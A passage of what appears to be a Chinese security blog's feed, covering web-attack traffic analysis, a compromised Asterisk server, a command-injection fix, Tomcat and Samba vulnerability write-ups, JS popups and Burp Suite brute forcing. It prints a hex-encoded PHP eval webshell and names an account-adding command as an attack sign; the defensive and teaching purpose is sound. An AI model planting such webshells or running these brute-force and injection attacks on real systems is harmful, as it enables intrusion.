常见的web攻击方式一般有sql注入、文件上传、远程命令执行等。Sql注入攻击，结合以前的工作经验来看，大多数会先采用扫描的方式，那么数据包中可以看到大量的尝试sql注入的语句，大量的数据包不便于分析，所以可以排除掉一些返回404或者302状态的数据包，只查看一些有成功返回信息的请求数据包，再查看sql注入是否成功。当发现数据包中有ip大量尝试sql注入的话，也可以缩小范围只针对该IP的流量进行分析，重点查看该IPsql注入尝试完之后有无其他动作。文件上传攻击，例如一些网站上传用户头像的地方对上传文件的过滤不严格攻击者可能会上传一句话图片木马，所以可以在数据包中查看上传的文件内容，是否包含可疑代码。远程命令执行，这种类型的攻击可以直接过滤查看出数据包中是否还有一些危险命令的数据包（例如 net user xxx xx/add、cmd等这类命令）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;抓取网络中的SMTP/POP3、QQ、HTTP等流量，通过数据包的分析能获取哪些关键参数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面列举一些较有用的可能不完全：
SMTP/POP3：
USER、PASS （用户登录名、密码）
EHLO （发送方的主机名）
MAIL FROM/RCPT TO (发送方/接收方地址)
HTTP：
GET/POST （请求的类型，后面是请求的页面）
HOST （主机名和端口号，通常为域名）
User-Agent (发送请求的客户端信息。特殊情况：如爬虫访问、扫描器扫描)
“200、404、302“等 （服务器返回的响应码）
QQ:
QQ的协议加密，从数据包中获取不到什么关键参数。&lt;/p&gt;</description></item><item><title>记一次服务器被入侵后的分析</title><link>https://www.lucien116.com/archives/379/</link><pubDate>Mon, 04 Dec 2017 08:26:54 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=379</guid><description>&lt;p&gt;通过系统日志发现问题参数为channel,文件为onetrans.php，打开onetrans.php查看，如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/12/12345.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/12/12345.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图-1 onetrans.php&lt;/p&gt;
&lt;p&gt;从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件，打开phpagi-asmanager-elastix.php查看，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/12/543.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/12/543.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图-2 phpagi-asmanager-elastix.php&lt;/p&gt;
&lt;p&gt;通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk，攻击者是通过API提供的Command远程命令执行写入了一句话木马，如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/12/1234.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/12/1234.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图-3 写入一句话木马&lt;/p&gt;
&lt;p&gt;从上图可以发现攻击者使用system()函数执行的命令，其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马，用xxd命令（ -P：以 postscript的连续十六进制转储输出，这也叫做纯十六进制转储，和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。）最后把一句话输出到smart.inc.class.php。&lt;/p&gt;
&lt;p&gt;但是从日志文件看，里面还有Action：Command、ActionID：1这样的字符串，于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。&lt;/p&gt;
&lt;h1 id="manager-api简介"&gt;Manager API简介&lt;/h1&gt;
&lt;p&gt;Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例，并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进，它就显得特别有用。在服务端和客户端之间，用的是一种简单的&amp;quot;key: value&amp;quot;格式的协议。消息中，以CR/LF为换行符，以空行(两个CR/LF)为数据包终结符。&lt;/p&gt;
&lt;h1 id="ami协议"&gt;AMI协议&lt;/h1&gt;
&lt;p&gt;向Asterisk发送命令之前，必须先建立一个会话会话建立之后，服务端和客户端之间，可以在任意时候发送数据包客户端发给服务端的包，首行必须有一个”Action”关键字；服务端发给客户端的包，首行则必须有”Event”或”Response”关键字。一个数据包里，命令行的顺序是无关紧要的，所以可以用你熟悉的顺序来组织以CR/LF为换行符，CR/LF加空行(两个CR/LF)为包结束符，Asterisk收到包结束符时开始解析处理&lt;/p&gt;
&lt;h1 id="包的类型"&gt;包的类型&lt;/h1&gt;
&lt;p&gt;AMI的数据包类型，由首行里的关键字决定，目前有以下三种类型： Action：客户端发给Asterisk的包，请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的)，取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response：Asterisk对Action的响应包。Event：由Asterisk核心或外围模块生成的事件信息，用于通知客户端状态变化，比如电话呼入，有人加入或退出会议室，等等。&lt;/p&gt;
&lt;h1 id="ami配置"&gt;AMI配置&lt;/h1&gt;
&lt;p&gt;AMI的配置文件&lt;a href="http://147.203.55.2/wiki/view/Asterisk+config+manager.conf"&gt;/etc/asterisk/manager.conf&lt;/a&gt;。AMI缺省的监听端口为5038，主要需要配置的内容是分配个用户，并授予执行的权限，配置实例：&lt;/p&gt;
&lt;p&gt;[general]   enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user&lt;/p&gt;
&lt;p&gt;配置项的详细内容，可参考&lt;a href="http://www.asterisk.org/doxygen/trunk/Config_ami.html"&gt;http://www.asterisk.org/doxygen/trunk/Config_ami.html&lt;/a&gt;配置完成后，可以在CLI下查看manager用信息，操作实例如下：&lt;/p&gt;
&lt;p&gt;yjye*CLI&amp;gt; manager show users&lt;/p&gt;
&lt;p&gt;username
---&amp;mdash;&amp;ndash;
admin
---&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-
1 manager users configured.&lt;/p&gt;
&lt;p&gt;AMI的命令列表可以通过在CLI下的manager show commands查看，我的环境里是这样的：&lt;/p&gt;
&lt;p&gt;yjye*CLI&amp;gt; manager show commands
Action           Privilege       Synopsis
&amp;mdash;&amp;mdash;           &amp;mdash;&amp;mdash;&amp;mdash;       &amp;mdash;&amp;mdash;&amp;ndash;
WaitEvent        &lt;none&gt;          Wait for an event to occur.
QueueReset       &lt;none&gt;          Reset queue statistics.
QueueReload      &lt;none&gt;          Reload a queue, queues, or any sub-section of a queue o
QueueRule        &lt;none&gt;          Queue Rules.
QueuePenalty     agent,all       Set the penalty for a queue member.
QueueLog         agent,all       Adds custom entry in queue_log.
QueuePause       agent,all       Makes a queue member temporarily unavailable.
QueueRemove      agent,all       Remove interface from queue.
QueueAdd         agent,all       Add interface to queue.
QueueSummary     &lt;none&gt;          Show queue summary.
QueueStatus      &lt;none&gt;          Show queue status.
Queues           &lt;none&gt;          Queues.
MuteAudio        system,all      Mute an audio stream
MixMonitorMute   &lt;none&gt;          Mute / unMute a Mixmonitor recording.
VoicemailUsersL  call,reporting, List All Voicemail User Information.
PlayDTMF         call,all        Play DTMF signal on a specific channel.
SKINNYshowline   system,reportin Show SKINNY line (text format).
SKINNYlines      system,reportin List SKINNY lines (text format).
SKINNYshowdevic  system,reportin Show SKINNY device (text format).
SKINNYdevices    system,reportin List SKINNY devices (text format).
IAXregistry      system,reportin Show IAX registrations.
IAXnetstats      system,reportin Show IAX Netstats.
IAXpeerlist      system,reportin List IAX Peers.
IAXpeers         system,reportin List IAX peers.
AgentLogoff      agent,all       Sets an agent as no longer logged in.
Agents           agent,all       Lists agents and their status.
SIPnotify        system,all      Send a SIP notify.
SIPshowregistry  system,reportin Show SIP registrations (text format).
SIPqualifypeer   system,reportin Qualify SIP peers.
SIPshowpeer      system,reportin show SIP peer (text format).
SIPpeers         system,reportin List SIP peers (text format).
LocalOptimizeAw  system,call,all Optimize away a local channel when possible.
AGI              agi,all         Add an AGI command to execute by Async AGI.
UnpauseMonitor   call,all        Unpause monitoring of a channel.
PauseMonitor     call,all        Pause monitoring of a channel.
ChangeMonitor    call,all        Change monitoring filename of a channel.
StopMonitor      call,all        Stop monitoring a channel.
Monitor          call,all        Monitor a channel.
DBDelTree        system,all      Delete DB Tree.
DBDel            system,all      Delete DB entry.
DBPut            system,all      Put DB entry.
DBGet            system,reportin Get DB Entry.
Bridge           call,all        Bridge two channels already in the PBX.
Park             call,all        Park a channel.
ParkedCalls      &lt;none&gt;          List parked calls.
ShowDialPlan     config,reportin Show dialplan contexts and extensions
AOCMessage       aoc,all         Generate an Advice of Charge message on a channel.
ModuleCheck      system,all      Check if module is loaded.
ModuleLoad       system,all      Module management.
CoreShowChannel  system,reportin List currently active channels.
Reload           system,config,a Send a reload event.
CoreStatus       system,reportin Show PBX core status variables.
CoreSettings     system,reportin Show PBX core settings (version etc).
UserEvent        user,all        Send an arbitrary event.
UpdateConfig     config,all      Update basic configuration.
SendText         call,all        Send text message to channel.
ListCommands     &lt;none&gt;          List available manager commands.
MailboxCount     call,reporting, Check Mailbox Message Count.
MailboxStatus    call,reporting, Check mailbox.
AbsoluteTimeout  system,call,all Set absolute timeout.
ExtensionState   call,reporting, Check Extension Status.
Command          command,all     Execute Asterisk CLI Command.
Originate        originate,all   Originate a call.
Atxfer           call,all        Attended transfer.
Redirect         call,all        Redirect (transfer) a call.
ListCategories   config,all      List categories in configuration file.
CreateConfig     config,all      Creates an empty file in the configuration directory.
Status           system,call,rep List channel status.
GetConfigJSON    system,config,a Retrieve configuration (JSON format).
GetConfig        system,config,a Retrieve configuration.
Getvar           call,reporting, Gets a channel variable.
Setvar           call,all        Set a channel variable.
Ping             &lt;none&gt;          Keepalive command.
Hangup           system,call,all Hangup channel.
Challenge        &lt;none&gt;          Generate Challenge for MD5 Auth.
Login            &lt;none&gt;          Login Manager.
Logoff           &lt;none&gt;          Logoff Manager.
Events           &lt;none&gt;          Control Event Flow.
DataGet          &lt;none&gt;          Retrieve the data api tree.&lt;/p&gt;</description></item><item><title>记一远程命令执行漏洞的修补过程</title><link>https://www.lucien116.com/archives/371/</link><pubDate>Tue, 07 Nov 2017 12:04:12 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=371</guid><description>&lt;p&gt;前些天一网友服务器被入侵种马帮忙查看修复漏洞，在删除后门之后通过查询服务器日志找到入侵者留下的攻击痕迹。如下图：（图为后补，我也不知道为啥他要wget baidu.com）&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/11/1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/11/1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1-服务器日志&lt;/p&gt;
&lt;p&gt;通过日志可以发现漏洞存在于fw.php文件，入侵者通过执行wget 命令远程下载入侵者服务器上名为1.php的一句话后门。找到了问题所在接下来查看fw.php这个文件：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/11/2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/11/2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图2-修复前&lt;/p&gt;
&lt;p&gt;通过图2可以看到该漏洞是因为没有严格限制用户提交的数据，入侵者通过“；”截断了CMD命令，从而导致执行了后面的wget命令。&lt;/p&gt;
&lt;p&gt;所以我们需要对用户递交的数据进行过滤，让用户只能提交正确的数据（IP地址）。通过定义一个isOk_ip()函数，对用户提交的数据利用正则表达式过滤，便避免了这个漏洞。&lt;/p&gt;
&lt;p&gt;修复后代码如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/11/3.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/11/3.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图2-修复后&lt;/p&gt;</description></item><item><title>Apache Tomcat 信息泄露漏洞预警及远程代码执行漏洞复现</title><link>https://www.lucien116.com/archives/369/</link><pubDate>Mon, 23 Oct 2017 14:06:06 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=369</guid><description>&lt;h3 id="一漏洞描述"&gt;&lt;strong&gt;一、漏洞描述：&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;2017年9月19日，Apache Tomcat官方 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.1CVE-2017-12616&lt;/strong&gt; &lt;strong&gt;：信息泄露漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Tomcat 中使用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2&lt;/strong&gt; &lt;strong&gt;远程代码执行漏洞（&lt;/strong&gt; &lt;strong&gt;CVE-2017-12615&lt;/strong&gt; &lt;strong&gt;）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果Apache Tomcat服务器上启用了HTTP PUT请求方法（将web.xml中 readonly 初始化参数由默认值设置为 false），则可能存在远程代码执行漏洞。攻击者可以通过该漏洞上传jsp文件。&lt;/p&gt;
&lt;h3 id="二影响范围"&gt;&lt;strong&gt;二、影响范围：&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;2.1信息泄露漏洞（CVE-2017-12616）影响范围：&lt;/p&gt;
&lt;p&gt;Apache Tomcat 7.0.0 – 7.0.80&lt;/p&gt;
&lt;p&gt;2.2远程代码执行漏洞（CVE-2017-12615）影响范围：&lt;/p&gt;
&lt;p&gt;Apache Tomcat 5.x – 9.x&lt;/p&gt;
&lt;h3 id="三漏洞复现"&gt;&lt;strong&gt;三、漏洞复现：&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;3.1 Apache Tomcat/7.0.79&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/1.png"&gt;&lt;img alt="1" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;修改/conf/web.xml&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/2.png"&gt;&lt;img alt="2" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Readonly的含义：当设置为false时,PUT、DELETE方法生效&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/3.png"&gt;&lt;img alt="3" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/3.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;发送PUT请求包&lt;/p&gt;
&lt;p&gt;思路可参考https://msdn.microsoft.com/en-us/library/dn393272.aspx&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/4.png"&gt;&lt;img alt="4" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/4.png"&gt;&lt;/a&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/5.png"&gt;&lt;img alt="5" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/5.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;成功创建jsp文件&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/6.png"&gt;&lt;img alt="6" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/6.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3.2  Apache Tomcat/7.0.81&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/7.png"&gt;&lt;img alt="7" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/7.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上传失败&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/8.png"&gt;&lt;img alt="8" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/8.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于tomcat 对jsp做了一定处理。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性，前面的流程中 topsec.jsp/ 识别为非jsp文件，而后续保存文件的时候，文件名不接受/字符，故而忽略掉。&lt;/p&gt;
&lt;p&gt;修改文件名格式后再次提交请求：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/9.png"&gt;&lt;img alt="9" loading="lazy" src="http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/9.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3.3  Apache Tomcat/8.5.20   Linux&lt;/p&gt;</description></item><item><title>前端常用的几种弹窗函数</title><link>https://www.lucien116.com/archives/361/</link><pubDate>Thu, 27 Jul 2017 15:15:36 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=361</guid><description>&lt;p&gt;&lt;strong&gt;1、alert(&amp;quot;&amp;quot;) 弹窗：提示&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;alert弹窗使我们写js时使用最多的一种弹窗，主要作为提示，一般我们经常用来测试js某段代码是否有没有出错。&lt;/p&gt;
&lt;p&gt;例：//弹出对话框并输出一段提示信息&lt;/p&gt;
&lt;p&gt;function prompt() {&lt;/p&gt;
&lt;p&gt;//弹出一个对话框&lt;/p&gt;
&lt;p&gt;alert(&amp;ldquo;提示信息！&amp;rdquo;);&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2、confirm(&amp;quot;&amp;quot;) 弹窗：判断是否进行某一个操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;confirm() 方法主要用于显示一个带有指定消息和 OK 及取消按钮的对话框。如用户点击确定按钮，则返回 true。如点击取消，则返回 false。在点击确定或取消按钮关闭之前，它将阻止用户对浏览器的所有输入。&lt;/p&gt;
&lt;p&gt;例：//弹出一个询问框，有确定和取消按钮&lt;/p&gt;
&lt;p&gt;function firm() {&lt;/p&gt;
&lt;p&gt;//利用对话框返回的值 （true 或者 false）&lt;/p&gt;
&lt;p&gt;if (confirm(&amp;ldquo;你确定提交吗？&amp;rdquo;)) {&lt;/p&gt;
&lt;p&gt;alert(&amp;ldquo;点击了确定&amp;rdquo;);&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;else {&lt;/p&gt;
&lt;p&gt;alert(&amp;ldquo;点击了取消&amp;rdquo;);&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3、prompt(&amp;quot;&amp;quot;) 弹窗：用于输入文本内容&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;prompt(&amp;quot;&amp;quot;) 弹窗方法用于显示可提示用户进行输入的对话框。如用户单击取消按钮，则返回 null。如单击确认按钮，则返回输入的文本。在点击确定或取消关闭之前，它将阻止用户对浏览器的所有输入。在调用 prompt() 时，在用户作出响应之前，不会执行下一条语句。&lt;/p&gt;
&lt;p&gt;例：//弹出一个输入框，输入一段文字，可以提交&lt;/p&gt;
&lt;p&gt;function prom() {&lt;/p&gt;
&lt;p&gt;var name = prompt(&amp;ldquo;请输入您的名字&amp;rdquo;, &amp;ldquo;&amp;rdquo;); //将输入的内容赋给变量 name ，&lt;/p&gt;
&lt;p&gt;//这里需要注意的是，prompt有两个参数，前面是提示的话，后面是当对话框出来后，在对话框里的默认值&lt;/p&gt;
&lt;p&gt;if (name)//如果返回的有内容&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;alert(&amp;ldquo;欢迎您：&amp;rdquo; + name)&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;</description></item><item><title>Burpsuite教程与技巧之HTTP brute暴力破解</title><link>https://www.lucien116.com/archives/356/</link><pubDate>Wed, 05 Jul 2017 06:55:40 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=356</guid><description>&lt;p&gt;&lt;strong&gt;常规的对username/passwprd进行payload测试，我想大家应该没有什么问题，但&lt;/strong&gt; &lt;strong&gt;对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题，很多朋友疑惑了.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之前，我记得我介绍过burpsuite的intruder功能(&lt;a href="http://www.freebuf.com/articles/5560.html"&gt;BurpSuite教程与技巧之SQL Injection&lt;/a&gt;)，想必很多人没什么印象，在此，以HTTP brute重提intruder功能.&lt;/p&gt;
&lt;p&gt;以下面案例进行说明(只作演示之用，具体以自己的目标为准)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226123225_18600.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226123225_18600.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Auth=dXNlcjpwYXNzd29yZA==处，也就是我们的关键位置.&lt;/p&gt;
&lt;p&gt;那么具体该如何做呢?大致操作过程如下:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="err"&gt;解密&lt;/span&gt;&lt;span class="n"&gt;base64字符串&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="err"&gt;生成测试用的&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="err"&gt;利用&lt;/span&gt;&lt;span class="n"&gt;payload进行测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;1.解密验证用的base64字符串&lt;/strong&gt; &lt;a href="http://image.3001.net/uploads/image/20130226/20130226123559_66236.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226123559_66236.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;解密后的字符串为:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Auth=user:password
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;问题来了，针对user:password这种形式的字符串，我们该如何设置payload呢?&lt;/p&gt;
&lt;p&gt;想必很多人在此处了费尽心思。为了解决这个问题，接下来请看第二部分。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.生成测试用的payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对于这种格式，无法利用burpsuite顺利的完成测试，那个就需要丰富对应的payload了.&lt;/p&gt;
&lt;p&gt;我的做法就是，利用burpsuite生成我要的payload文本.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Auth=§user§§:§§password§
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;设置3处payloads，&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 ------ §user§
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2 ------ §:§
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3 ------ §password§
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后根据intruder自带的battering ram/pitchfork/cluster bomb生成payloads(根据自己的需求生成)&lt;/p&gt;
&lt;p&gt;我在此处选择以cluster bomb为例，利用intruder生成需要的payloads，然后保存到文本文件中.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226125136_97047.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226125136_97047.png"&gt;&lt;/a&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226125307_52071.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226125307_52071.png"&gt;&lt;/a&gt;&lt;strong&gt;3.利用payload进行测试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;测试的时候，我们选用sniper，我们只需一个payload变量&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226125606_76545.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226125606_76545.png"&gt;&lt;/a&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226125833_34487.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226125833_34487.png"&gt;&lt;/a&gt;&lt;a href="http://image.3001.net/uploads/image/20130226/20130226125921_64121.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/uploads/image/20130226/20130226125921_64121.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;若有不足之处，欢迎指正.&lt;/p&gt;</description></item><item><title>Samba远程代码执行漏洞(CVE-2017-7494)分析</title><link>https://www.lucien116.com/archives/353/</link><pubDate>Sat, 03 Jun 2017 15:41:09 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=353</guid><description>&lt;p&gt;作者: cyg07 &amp;amp;&amp;amp; redrain&lt;/p&gt;
&lt;h2 id="概述"&gt;概述&lt;/h2&gt;
&lt;p&gt;2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。&lt;/p&gt;
&lt;h2 id="技术分析"&gt;技术分析&lt;/h2&gt;
&lt;p&gt;如官方所描述，该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限（samba默认是root用户执行的）。&lt;/p&gt;
&lt;p&gt;从Patch来看的话，is_known_pipename函数的pipename中存在路径符号会有问题：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/wp-content/uploads/2017/05/1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/wp-content/uploads/2017/05/1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/wp-content/uploads/2017/05/2.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/wp-content/uploads/2017/05/2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;具体攻击过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造一个有’/’ 符号的管道名或路径名，如 “/home/toor/cyg07.so”&lt;/li&gt;
&lt;li&gt;通过smb的协议主动让服务器smb返回该FID&lt;/li&gt;
&lt;li&gt;后续直接请求这个FID就进入上面所说的恶意流程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体攻击结果如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;尝试加载　“/home/toor/cyg07.so” 恶意so &lt;a href="http://blogs.360.cn/wp-content/uploads/2017/05/3.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/wp-content/uploads/2017/05/3.png"&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;其中so 代码如下(加载时会调用　samba_init_module 导出函数) &lt;a href="http://blogs.360.cn/wp-content/uploads/2017/05/4.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/wp-content/uploads/2017/05/4.png"&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限) &lt;a href="http://blogs.360.cn/wp-content/uploads/2017/05/5.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/wp-content/uploads/2017/05/5.png"&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="解决方案"&gt;解决方案&lt;/h2&gt;
&lt;p&gt;360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作，&lt;/p&gt;
&lt;ol&gt;
